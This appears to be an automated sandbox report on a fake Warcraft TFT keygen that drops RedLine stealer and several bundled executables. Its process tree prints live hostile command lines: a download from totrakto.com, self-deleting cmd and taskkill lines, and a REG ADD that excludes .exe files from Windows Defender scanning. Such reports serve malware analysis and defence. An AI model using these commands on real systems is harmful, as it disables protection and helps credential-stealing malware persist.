Overview

overview

10

Static

static

-warcraft-...I7.exe

windows7-x64

10

-warcraft-...I7.exe

windows10-2004-x64

10

.............exe

windows7-x64

7

.............exe

windows10-2004-x64

10

Warcracft ...up.exe

windows7-x64

7

Warcracft ...up.exe

windows10-2004-x64

1

Warcracft ...up.exe

windows7-x64

7

Warcracft ...up.exe

windows10-2004-x64

7

Resubmissions

03/08/2023, 07:22

230803-h7h8fsbh938

24/10/2022, 20:50

221024-zmn2msaeen10

Analysis

  • max time kernel
    1164s
  • max time network
    1204s
  • platform
    windows7_x64
  • resource
    win7-20220812-en
  • resource tags

    arch:x64arch:x86image:win7-20220812-enlocale:en-usos:windows7-x64system
  • submitted
    24/10/2022, 20:50

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    -warcraft-tft-keygen-F82Z5I7.exe
  • Size 9.5MB
  • Sample221024-zmn2msaeen
  • SHA256 fb3d286faee2cf6345988d4dd8c025688075e425a64c311439bed5d54461b0ab
  • MD5 SHA1 SHA512 SSDEEP
Score
10/10
redlinediscoveryevasioninfostealerpersistencespywarestealertrojan

Malware Config

Signatures

  • Modifies Windows Defender Real-time Protection settings 3 TTPs 4 IoCs
    evasiontrojan
  • RedLine

    RedLine Stealer is a malware family written in C#, first appearing in early 2020.

    infostealerredline
  • RedLine payload 1 IoCs
  • Windows security bypass 2 TTPs 36 IoCs
    evasiontrojan
  • Blocklisted process makes network request 1 IoCs
  • Downloads MZ/PE file
  • Executes dropped EXE 44 IoCs
  • Checks BIOS information in registry 2 TTPs 2 IoCs

    BIOS information is often read in order to detect sandboxing environments.

  • Checks computer location settings 2 TTPs 13 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Drops startup file 1 IoCs
  • Loads dropped DLL 64 IoCs
  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

    spywarestealer
  • Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
    spyware
  • Adds Run key to start application 2 TTPs 4 IoCs
    persistence
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

    discovery
  • Drops Chrome extension 1 IoCs
  • AutoIT Executable 4 IoCs

    AutoIT scripts compiled to PE executables.

  • Drops file in System32 directory 19 IoCs
  • Drops file in Program Files directory 64 IoCs
  • Drops file in Windows directory 4 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Creates scheduled task(s) 1 TTPs 13 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

    persistence
  • Enumerates system info in registry 2 TTPs 4 IoCs
  • Kills process with taskkill 1 IoCs
    evasion
  • Modifies Control Panel 2 IoCs
    evasion
  • Modifies Internet Explorer settings 1 TTPs 36 IoCs
    adwarespyware
  • Modifies data under HKEY_USERS 64 IoCs
  • Modifies system certificate store 2 TTPs 24 IoCs
    evasionspywaretrojan
  • Runs ping.exe 1 TTPs 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious use of AdjustPrivilegeToken 26 IoCs
  • Suspicious use of FindShellTrayWindow 2 IoCs
  • Suspicious use of SetWindowsHookEx 7 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\-warcraft-tft-keygen-F82Z5I7.exe
    "C:\Users\Admin\AppData\Local\Temp\-warcraft-tft-keygen-F82Z5I7.exe"
    1⤵
    • Loads dropped DLL
    • Suspicious use of WriteProcessMemory
    PID:1960
    • C:\Users\Admin\AppData\Local\Temp\is-KTM7P.tmp\is-41474.tmp
      "C:\Users\Admin\AppData\Local\Temp\is-KTM7P.tmp\is-41474.tmp" /SL4 $60120 "C:\Users\Admin\AppData\Local\Temp\-warcraft-tft-keygen-F82Z5I7.exe" 9672036 48128
      2⤵
      • Executes dropped EXE
      • Loads dropped DLL
      • Drops file in Program Files directory
      • Suspicious use of WriteProcessMemory
      PID:1360
      • C:\Windows\SysWOW64\schtasks.exe
        "C:\Windows\system32\schtasks.exe" /Query
        3⤵
          PID:1616
        • C:\Program Files (x86)\Syney\PCCleaner\PCCleaner.exe
          "C:\Program Files (x86)\Syney\PCCleaner\PCCleaner.exe"
          3⤵
          • Executes dropped EXE
          • Loads dropped DLL
          PID:1408
        • C:\Windows\SysWOW64\schtasks.exe
          "C:\Windows\system32\schtasks.exe" /Delete /F /TN "PCCleaner 1"
          3⤵
            PID:1124
          • C:\Program Files (x86)\Syney\PCCleaner\PCCleaner.exe
            "C:\Program Files (x86)\Syney\PCCleaner\PCCleaner.exe" 1df4967a8b55e0254e559fb7330da036
            3⤵
            • Executes dropped EXE
            • Loads dropped DLL
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of WriteProcessMemory
            PID:436
            • C:\Program Files\Internet Explorer\iexplore.exe
              "C:\Program Files\Internet Explorer\iexplore.exe" http://totrakto.com/warcraft-3-tft-keygen-19.zip
              4⤵
              • Modifies Internet Explorer settings
              • Suspicious use of FindShellTrayWindow
              • Suspicious use of SetWindowsHookEx
              • Suspicious use of WriteProcessMemory
              PID:580
              • C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE
                "C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:580 CREDAT:275457 /prefetch:2
                5⤵
                • Modifies Internet Explorer settings
                • Suspicious use of SetWindowsHookEx
                PID:1560
            • C:\Users\Admin\AppData\Local\Temp\FaIOXtKt\ZoHdkrwj4h.exe
              C:\Users\Admin\AppData\Local\Temp\FaIOXtKt\ZoHdkrwj4h.exe
              4⤵
              • Executes dropped EXE
              • Loads dropped DLL
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of SetWindowsHookEx
              PID:908
            • C:\Users\Admin\AppData\Local\Temp\36nYbLtX\Ra3pYRIVbMKHvMz0.exe
              C:\Users\Admin\AppData\Local\Temp\36nYbLtX\Ra3pYRIVbMKHvMz0.exe /VERYSILENT
              4⤵
              • Executes dropped EXE
              • Loads dropped DLL
              PID:1580
              • C:\Users\Admin\AppData\Local\Temp\is-H7KBE.tmp\Ra3pYRIVbMKHvMz0.tmp
                "C:\Users\Admin\AppData\Local\Temp\is-H7KBE.tmp\Ra3pYRIVbMKHvMz0.tmp" /SL5="$10214,4822386,780800,C:\Users\Admin\AppData\Local\Temp\36nYbLtX\Ra3pYRIVbMKHvMz0.exe" /VERYSILENT
                5⤵
                • Executes dropped EXE
                • Drops startup file
                • Loads dropped DLL
                • Drops file in Program Files directory
                • Suspicious behavior: EnumeratesProcesses
                • Suspicious use of FindShellTrayWindow
                PID:472
                • C:\Program Files (x86)\Proxy2Service\client.exe
                  "C:\Program Files (x86)\Proxy2Service\client.exe"
                  6⤵
                  • Executes dropped EXE
                  • Loads dropped DLL
                  • Suspicious behavior: EnumeratesProcesses
                  PID:1408
            • C:\Users\Admin\AppData\Local\Temp\Ch3TN7iP\fUBHF.exe
              C:\Users\Admin\AppData\Local\Temp\Ch3TN7iP\fUBHF.exe
              4⤵
              • Executes dropped EXE
              • Loads dropped DLL
              PID:1284
              • C:\Users\Admin\AppData\Local\Temp\is-J7Q6Q.tmp\is-QSRL7.tmp
                "C:\Users\Admin\AppData\Local\Temp\is-J7Q6Q.tmp\is-QSRL7.tmp" /SL4 $10218 "C:\Users\Admin\AppData\Local\Temp\Ch3TN7iP\fUBHF.exe" 2511453 47616
                5⤵
                • Executes dropped EXE
                • Loads dropped DLL
                • Drops file in Program Files directory
                PID:280
                • C:\Program Files (x86)\HDNGURU LLF Tool\LLFTOOL.exe
                  "C:\Program Files (x86)\HDNGURU LLF Tool\LLFTOOL.exe"
                  6⤵
                  • Executes dropped EXE
                  • Loads dropped DLL
                  PID:1556
            • C:\Users\Admin\AppData\Local\Temp\C1mTBuwe\gkwrw8bixtRhBVZhd6.exe
              C:\Users\Admin\AppData\Local\Temp\C1mTBuwe\gkwrw8bixtRhBVZhd6.exe /VERYSILENT
              4⤵
              • Executes dropped EXE
              PID:1708
              • C:\Users\Admin\AppData\Local\Temp\path55gta.exe
                C:\Users\Admin\AppData\Local\Temp\path55gta.exe
                5⤵
                • Executes dropped EXE
                • Loads dropped DLL
                • Suspicious behavior: EnumeratesProcesses
                • Suspicious use of AdjustPrivilegeToken
                PID:2420
              • C:\Users\Admin\AppData\Local\Temp\gtaV5path.exe
                C:\Users\Admin\AppData\Local\Temp\gtaV5path.exe
                5⤵
                • Executes dropped EXE
                PID:2124
              • C:\Windows\system32\cmd.exe
                "C:\Windows\system32\cmd.exe" /k ping 0 & del C:\Users\Admin\AppData\Local\Temp\C1mTBuwe\gkwrw8bixtRhBVZhd6.exe & exit
                5⤵
                  PID:2072
                  • C:\Windows\system32\PING.EXE
                    ping 0
                    6⤵
                    • Runs ping.exe
                    PID:1556
              • C:\Users\Admin\AppData\Local\Temp\c7aqGynL\IP0wpiOV9bhLkVhvAZ.exe
                C:\Users\Admin\AppData\Local\Temp\c7aqGynL\IP0wpiOV9bhLkVhvAZ.exe /silentus SUB=1df4967a8b55e0254e559fb7330da036
                4⤵
                • Executes dropped EXE
                • Loads dropped DLL
                PID:1272
                • C:\Users\Admin\AppData\Local\Temp\is-EJEU7.tmp\is-CKQBR.tmp
                  "C:\Users\Admin\AppData\Local\Temp\is-EJEU7.tmp\is-CKQBR.tmp" /SL4 $102B2 "C:\Users\Admin\AppData\Local\Temp\c7aqGynL\IP0wpiOV9bhLkVhvAZ.exe" 2482293 52736 /silentus SUB=1df4967a8b55e0254e559fb7330da036
                  5⤵
                  • Executes dropped EXE
                  • Loads dropped DLL
                  • Drops file in Program Files directory
                  PID:1512
                  • C:\Program Files (x86)\PES Disk Master\pes58.exe
                    "C:\Program Files (x86)\PES Disk Master\pes58.exe" /silentus SUB=1df4967a8b55e0254e559fb7330da036
                    6⤵
                    • Executes dropped EXE
                    • Loads dropped DLL
                    PID:1112
                    • C:\Windows\SysWOW64\cmd.exe
                      "C:\Windows\System32\cmd.exe" /c taskkill /im "pes58.exe" /f & erase "C:\Program Files (x86)\PES Disk Master\pes58.exe" & exit
                      7⤵
                        PID:2668
                        • C:\Windows\SysWOW64\taskkill.exe
                          taskkill /im "pes58.exe" /f
                          8⤵
                          • Kills process with taskkill
                          • Suspicious use of AdjustPrivilegeToken
                          PID:2708
                • C:\Users\Admin\AppData\Local\Temp\5ioeqMij\vll6MgRMmCxpntWmQqmr.exe
                  C:\Users\Admin\AppData\Local\Temp\5ioeqMij\vll6MgRMmCxpntWmQqmr.exe /sid=3 /pid=146
                  4⤵
                  • Executes dropped EXE
                  • Loads dropped DLL
                  • Adds Run key to start application
                  • Suspicious behavior: EnumeratesProcesses
                  PID:1064
                  • C:\Users\Admin\AppData\Roaming\InfoInstall\InfoInstall.exe
                    C:\Users\Admin\AppData\Roaming\InfoInstall\InfoInstall.exe
                    5⤵
                    • Executes dropped EXE
                    • Suspicious use of AdjustPrivilegeToken
                    PID:2308
                    • C:\Users\Admin\AppData\Local\Temp\89b8d3d0-71b3-433c-bf2e-a27148d30c3f.exe
                      "C:\Users\Admin\AppData\Local\Temp\89b8d3d0-71b3-433c-bf2e-a27148d30c3f.exe" /sid=3 /pid=146
                      6⤵
                      • Executes dropped EXE
                      PID:1296
                      • C:\Users\Admin\AppData\Local\Temp\setup.exe
                        "C:\Users\Admin\AppData\Local\Temp\setup.exe"
                        7⤵
                        • Executes dropped EXE
                        • Adds Run key to start application
                        PID:2212
                        • C:\Users\Admin\AppData\Roaming\Snetchball\Snetchball.exe
                          C:\Users\Admin\AppData\Roaming\Snetchball\Snetchball.exe
                          8⤵
                          • Executes dropped EXE
                          • Checks computer location settings
                          • Modifies Control Panel
                          • Suspicious use of AdjustPrivilegeToken
                          PID:828
                          • C:\Users\Admin\AppData\Roaming\Snetchball\Snetchball.exe
                            "C:\Users\Admin\AppData\Roaming\Snetchball\Snetchball.exe" --type=gpu-process --field-trial-handle=2072,14389147876152470751,8594287190828326867,131072 --enable-features=CastMediaRouteProvider --disable-features=CalculateNativeWinOcclusion --no-sandbox --log-file="C:\Users\Admin\AppData\Roaming\Snetchball\debug.log" --log-severity=disable --user-agent="Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36 Edg/106.0.1349.1" --lang=en-US --gpu-preferences=MAAAAAAAAADgAAAwAAAAAAAAAAAAAAAAAABgAAAAAAAQAAAAAAAAAAAAAAAAAAAAKAAAAAQAAAAgAAAAAAAAACgAAAAAAAAAMAAAAAAAAAA4AAAAAAAAABAAAAAAAAAAAAAAAAUAAAAQAAAAAAAAAAAAAAAGAAAAEAAAAAAAAAABAAAABQAAABAAAAAAAAAAAQAAAAYAAAA= --log-file="C:\Users\Admin\AppData\Roaming\Snetchball\debug.log" --mojo-platform-channel-handle=2100 /prefetch:2
                            9⤵
                            • Executes dropped EXE
                            • Suspicious use of AdjustPrivilegeToken
                            PID:2756
                          • C:\Users\Admin\AppData\Roaming\Snetchball\Snetchball.exe
                            "C:\Users\Admin\AppData\Roaming\Snetchball\Snetchball.exe" --type=renderer --no-sandbox --log-file="C:\Users\Admin\AppData\Roaming\Snetchball\debug.log" --field-trial-handle=2072,14389147876152470751,8594287190828326867,131072 --enable-features=CastMediaRouteProvider --disable-features=CalculateNativeWinOcclusion --lang=en-US --log-file="C:\Users\Admin\AppData\Roaming\Snetchball\debug.log" --log-severity=disable --user-agent="Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36 Edg/106.0.1349.1" --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=4 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=2348 /prefetch:1
                            9⤵
                            • Executes dropped EXE
                            • Checks computer location settings
                            • Suspicious use of AdjustPrivilegeToken
                            PID:2596
                          • C:\Users\Admin\AppData\Roaming\Snetchball\Snetchball.exe
                            "C:\Users\Admin\AppData\Roaming\Snetchball\Snetchball.exe" --type=renderer --no-sandbox --log-file="C:\Users\Admin\AppData\Roaming\Snetchball\debug.log" --field-trial-handle=2072,14389147876152470751,8594287190828326867,131072 --enable-features=CastMediaRouteProvider --disable-features=CalculateNativeWinOcclusion --lang=en-US --log-file="C:\Users\Admin\AppData\Roaming\Snetchball\debug.log" --log-severity=disable --user-agent="Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36 Edg/106.0.1349.1" --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=3 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=2356 /prefetch:1
                            9⤵
                            • Executes dropped EXE
                            • Checks computer location settings
                            • Suspicious use of AdjustPrivilegeToken
                            PID:2712
                          • C:\Users\Admin\AppData\Roaming\Snetchball\Snetchball.exe
                            "C:\Users\Admin\AppData\Roaming\Snetchball\Snetchball.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=2072,14389147876152470751,8594287190828326867,131072 --enable-features=CastMediaRouteProvider --disable-features=CalculateNativeWinOcclusion --lang=en-US --service-sandbox-type=network --no-sandbox --log-file="C:\Users\Admin\AppData\Roaming\Snetchball\debug.log" --log-severity=disable --user-agent="Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36 Edg/106.0.1349.1" --lang=en-US --log-file="C:\Users\Admin\AppData\Roaming\Snetchball\debug.log" --mojo-platform-channel-handle=2380 /prefetch:8
                            9⤵
                            • Executes dropped EXE
                            • Modifies system certificate store
                            • Suspicious use of AdjustPrivilegeToken
                            PID:2020
                          • C:\Users\Admin\AppData\Roaming\Snetchball\Snetchball.exe
                            "C:\Users\Admin\AppData\Roaming\Snetchball\Snetchball.exe" --type=gpu-process --field-trial-handle=2072,14389147876152470751,8594287190828326867,131072 --enable-features=CastMediaRouteProvider --disable-features=CalculateNativeWinOcclusion --no-sandbox --log-file="C:\Users\Admin\AppData\Roaming\Snetchball\debug.log" --log-severity=disable --user-agent="Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36 Edg/106.0.1349.1" --lang=en-US --gpu-preferences=MAAAAAAAAADgAAAwAAAAAAAAAAAAAAAAAABgAAAAAAAQAAAAAAAAAAAAAAAAAAAAKAAAAAQAAAAgAAAAAAAAACgAAAAAAAAAMAAAAAAAAAA4AAAAAAAAABAAAAAAAAAAAAAAAAUAAAAQAAAAAAAAAAAAAAAGAAAAEAAAAAAAAAABAAAABQAAABAAAAAAAAAAAQAAAAYAAAA= --use-gl=swiftshader-webgl --log-file="C:\Users\Admin\AppData\Roaming\Snetchball\debug.log" --mojo-platform-channel-handle=2100 /prefetch:2
                            9⤵
                            • Executes dropped EXE
                            • Suspicious use of AdjustPrivilegeToken
                            PID:3056
                          • C:\Users\Admin\AppData\Roaming\Snetchball\Snetchball.exe
                            "C:\Users\Admin\AppData\Roaming\Snetchball\Snetchball.exe" --type=renderer --no-sandbox --log-file="C:\Users\Admin\AppData\Roaming\Snetchball\debug.log" --field-trial-handle=2072,14389147876152470751,8594287190828326867,131072 --enable-features=CastMediaRouteProvider --disable-features=CalculateNativeWinOcclusion --disable-gpu-compositing --lang=en-US --log-file="C:\Users\Admin\AppData\Roaming\Snetchball\debug.log" --log-severity=disable --user-agent="Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36 Edg/106.0.1349.1" --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=7 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5292 /prefetch:1
                            9⤵
                            • Executes dropped EXE
                            • Checks computer location settings
                            • Suspicious use of AdjustPrivilegeToken
                            PID:2864
                          • C:\Users\Admin\AppData\Roaming\Snetchball\Snetchball.exe
                            "C:\Users\Admin\AppData\Roaming\Snetchball\Snetchball.exe" --type=renderer --no-sandbox --log-file="C:\Users\Admin\AppData\Roaming\Snetchball\debug.log" --field-trial-handle=2072,14389147876152470751,8594287190828326867,131072 --enable-features=CastMediaRouteProvider --disable-features=CalculateNativeWinOcclusion --disable-gpu-compositing --lang=en-US --log-file="C:\Users\Admin\AppData\Roaming\Snetchball\debug.log" --log-severity=disable --user-agent="Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36 Edg/106.0.1349.1" --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=8 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=2700 /prefetch:1
                            9⤵
                            • Executes dropped EXE
                            • Checks computer location settings
                            • Suspicious use of AdjustPrivilegeToken
                            PID:3060
                            • C:\Users\Admin\AppData\Roaming\Snetchball\Snetchball.exe
                              "C:\Users\Admin\AppData\Roaming\Snetchball\Snetchball.exe"
                              10⤵
                              • Executes dropped EXE
                              • Checks computer location settings
                              • Modifies Control Panel
                              • Suspicious use of AdjustPrivilegeToken
                              PID:2208
                              • C:\Users\Admin\AppData\Roaming\Snetchball\Snetchball.exe
                                "C:\Users\Admin\AppData\Roaming\Snetchball\Snetchball.exe" --type=gpu-process --field-trial-handle=1964,12631229317692569016,3023114661653249252,131072 --enable-features=CastMediaRouteProvider --disable-features=CalculateNativeWinOcclusion --no-sandbox --log-file="C:\Users\Admin\AppData\Roaming\Snetchball\debug.log" --log-severity=disable --user-agent="Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.0.0 Safari/537.36" --lang=en-US --gpu-preferences=MAAAAAAAAADgAAAwAAAAAAAAAAAAAAAAAABgAAAAAAAQAAAAAAAAAAAAAAAAAAAAKAAAAAQAAAAgAAAAAAAAACgAAAAAAAAAMAAAAAAAAAA4AAAAAAAAABAAAAAAAAAAAAAAAAUAAAAQAAAAAAAAAAAAAAAGAAAAEAAAAAAAAAABAAAABQAAABAAAAAAAAAAAQAAAAYAAAA= --log-file="C:\Users\Admin\AppData\Roaming\Snetchball\debug.log" --mojo-platform-channel-handle=1996 /prefetch:2
                                11⤵
                                • Executes dropped EXE
                                • Suspicious use of AdjustPrivilegeToken
                                PID:3004
                              • C:\Users\Admin\AppData\Roaming\Snetchball\Snetchball.exe
                                "C:\Users\Admin\AppData\Roaming\Snetchball\Snetchball.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=1964,12631229317692569016,3023114661653249252,131072 --enable-features=CastMediaRouteProvider --disable-features=CalculateNativeWinOcclusion --lang=en-US --service-sandbox-type=network --no-sandbox --log-file="C:\Users\Admin\AppData\Roaming\Snetchball\debug.log" --log-severity=disable --user-agent="Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.0.0 Safari/537.36" --lang=en-US --log-file="C:\Users\Admin\AppData\Roaming\Snetchball\debug.log" --mojo-platform-channel-handle=2336 /prefetch:8
                                11⤵
                                • Executes dropped EXE
                                • Suspicious use of AdjustPrivilegeToken
                                PID:1288
                              • C:\Users\Admin\AppData\Roaming\Snetchball\Snetchball.exe
                                "C:\Users\Admin\AppData\Roaming\Snetchball\Snetchball.exe" --type=renderer --no-sandbox --log-file="C:\Users\Admin\AppData\Roaming\Snetchball\debug.log" --field-trial-handle=1964,12631229317692569016,3023114661653249252,131072 --enable-features=CastMediaRouteProvider --disable-features=CalculateNativeWinOcclusion --lang=en-US --log-file="C:\Users\Admin\AppData\Roaming\Snetchball\debug.log" --log-severity=disable --user-agent="Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.0.0 Safari/537.36" --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=3 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=2320 /prefetch:1
                                11⤵
                                • Executes dropped EXE
                                • Checks computer location settings
                                • Suspicious use of AdjustPrivilegeToken
                                PID:1388
                              • C:\Users\Admin\AppData\Roaming\Snetchball\Snetchball.exe
                                "C:\Users\Admin\AppData\Roaming\Snetchball\Snetchball.exe" --type=renderer --no-sandbox --log-file="C:\Users\Admin\AppData\Roaming\Snetchball\debug.log" --field-trial-handle=1964,12631229317692569016,3023114661653249252,131072 --enable-features=CastMediaRouteProvider --disable-features=CalculateNativeWinOcclusion --lang=en-US --log-file="C:\Users\Admin\AppData\Roaming\Snetchball\debug.log" --log-severity=disable --user-agent="Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.0.0 Safari/537.36" --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=4 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=2312 /prefetch:1
                                11⤵
                                • Executes dropped EXE
                                • Checks computer location settings
                                • Suspicious use of AdjustPrivilegeToken
                                PID:3052
                              • C:\Users\Admin\AppData\Roaming\Snetchball\Snetchball.exe
                                "C:\Users\Admin\AppData\Roaming\Snetchball\Snetchball.exe" --type=gpu-process --field-trial-handle=1964,12631229317692569016,3023114661653249252,131072 --enable-features=CastMediaRouteProvider --disable-features=CalculateNativeWinOcclusion --no-sandbox --log-file="C:\Users\Admin\AppData\Roaming\Snetchball\debug.log" --log-severity=disable --user-agent="Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.0.0 Safari/537.36" --lang=en-US --gpu-preferences=MAAAAAAAAADgAAAwAAAAAAAAAAAAAAAAAABgAAAAAAAQAAAAAAAAAAAAAAAAAAAAKAAAAAQAAAAgAAAAAAAAACgAAAAAAAAAMAAAAAAAAAA4AAAAAAAAABAAAAAAAAAAAAAAAAUAAAAQAAAAAAAAAAAAAAAGAAAAEAAAAAAAAAABAAAABQAAABAAAAAAAAAAAQAAAAYAAAA= --use-gl=swiftshader-webgl --log-file="C:\Users\Admin\AppData\Roaming\Snetchball\debug.log" --mojo-platform-channel-handle=1996 /prefetch:2
                                11⤵
                                • Executes dropped EXE
                                • Suspicious use of AdjustPrivilegeToken
                                PID:2500
                              • C:\Users\Admin\AppData\Roaming\Snetchball\Snetchball.exe
                                "C:\Users\Admin\AppData\Roaming\Snetchball\Snetchball.exe" --type=renderer --no-sandbox --log-file="C:\Users\Admin\AppData\Roaming\Snetchball\debug.log" --field-trial-handle=1964,12631229317692569016,3023114661653249252,131072 --enable-features=CastMediaRouteProvider --disable-features=CalculateNativeWinOcclusion --disable-gpu-compositing --lang=en-US --log-file="C:\Users\Admin\AppData\Roaming\Snetchball\debug.log" --log-severity=disable --user-agent="Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.0.0 Safari/537.36" --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=7 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=940 /prefetch:1
                                11⤵
                                • Executes dropped EXE
                                • Checks computer location settings
                                • Suspicious use of AdjustPrivilegeToken
                                PID:1596
                              • C:\Users\Admin\AppData\Roaming\Snetchball\Snetchball.exe
                                "C:\Users\Admin\AppData\Roaming\Snetchball\Snetchball.exe" --type=renderer --no-sandbox --log-file="C:\Users\Admin\AppData\Roaming\Snetchball\debug.log" --field-trial-handle=1964,12631229317692569016,3023114661653249252,131072 --enable-features=CastMediaRouteProvider --disable-features=CalculateNativeWinOcclusion --disable-gpu-compositing --lang=en-US --log-file="C:\Users\Admin\AppData\Roaming\Snetchball\debug.log" --log-severity=disable --user-agent="Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.0.0 Safari/537.36" --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=8 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=2008 /prefetch:1
                                11⤵
                                • Executes dropped EXE
                                • Checks computer location settings
                                • Suspicious use of AdjustPrivilegeToken
                                PID:1788
                              • C:\Users\Admin\AppData\Roaming\Snetchball\Snetchball.exe
                                "C:\Users\Admin\AppData\Roaming\Snetchball\Snetchball.exe" --type=renderer --no-sandbox --log-file="C:\Users\Admin\AppData\Roaming\Snetchball\debug.log" --field-trial-handle=1964,12631229317692569016,3023114661653249252,131072 --enable-features=CastMediaRouteProvider --disable-features=CalculateNativeWinOcclusion --disable-gpu-compositing --lang=en-US --log-file="C:\Users\Admin\AppData\Roaming\Snetchball\debug.log" --log-severity=disable --user-agent="Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.0.0 Safari/537.36" --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=9 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=2768 /prefetch:1
                                11⤵
                                • Executes dropped EXE
                                • Checks computer location settings
                                • Suspicious use of AdjustPrivilegeToken
                                PID:2560
                            • C:\Users\Admin\AppData\Roaming\Snetchball\Snetchball.exe
                              "C:\Users\Admin\AppData\Roaming\Snetchball\Snetchball.exe"
                              10⤵
                              • Executes dropped EXE
                              • Suspicious use of AdjustPrivilegeToken
                              PID:2832
                          • C:\Users\Admin\AppData\Roaming\Snetchball\Snetchball.exe
                            "C:\Users\Admin\AppData\Roaming\Snetchball\Snetchball.exe" --type=renderer --no-sandbox --log-file="C:\Users\Admin\AppData\Roaming\Snetchball\debug.log" --field-trial-handle=2072,14389147876152470751,8594287190828326867,131072 --enable-features=CastMediaRouteProvider --disable-features=CalculateNativeWinOcclusion --disable-gpu-compositing --lang=en-US --log-file="C:\Users\Admin\AppData\Roaming\Snetchball\debug.log" --log-severity=disable --user-agent="Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36 Edg/106.0.1349.1" --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=9 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5284 /prefetch:1
                            9⤵
                            • Executes dropped EXE
                            • Checks computer location settings
                            • Suspicious use of AdjustPrivilegeToken
                            PID:2092
                • C:\Users\Admin\AppData\Local\Temp\YbvY2W5y\KOXA7JAiZiab0x.exe
                  C:\Users\Admin\AppData\Local\Temp\YbvY2W5y\KOXA7JAiZiab0x.exe /S /site_id=757674
                  4⤵
                  • Executes dropped EXE
                  • Loads dropped DLL
                  PID:872
                  • C:\Users\Admin\AppData\Local\Temp\7zS52A3.tmp\Install.exe
                    .\Install.exe /S /site_id=757674
                    5⤵
                    • Executes dropped EXE
                    • Loads dropped DLL
                    PID:972
                    • C:\Users\Admin\AppData\Local\Temp\7zS60C7.tmp\Install.exe
                      .\Install.exe /S /site_id "757674" /S /site_id=757674
                      6⤵
                      • Executes dropped EXE
                      • Checks BIOS information in registry
                      • Loads dropped DLL
                      • Drops file in System32 directory
                      • Enumerates system info in registry
                      PID:1816
                      • C:\Windows\SysWOW64\forfiles.exe
                        "C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m cmd.exe /c "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions\" /f /v \"exe\" /t REG_SZ /d 0 /reg:32&REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions\" /f /v \"exe\" /t REG_SZ /d 0 /reg:64&"
                        7⤵
                          PID:2056
                          • C:\Windows\SysWOW64\cmd.exe
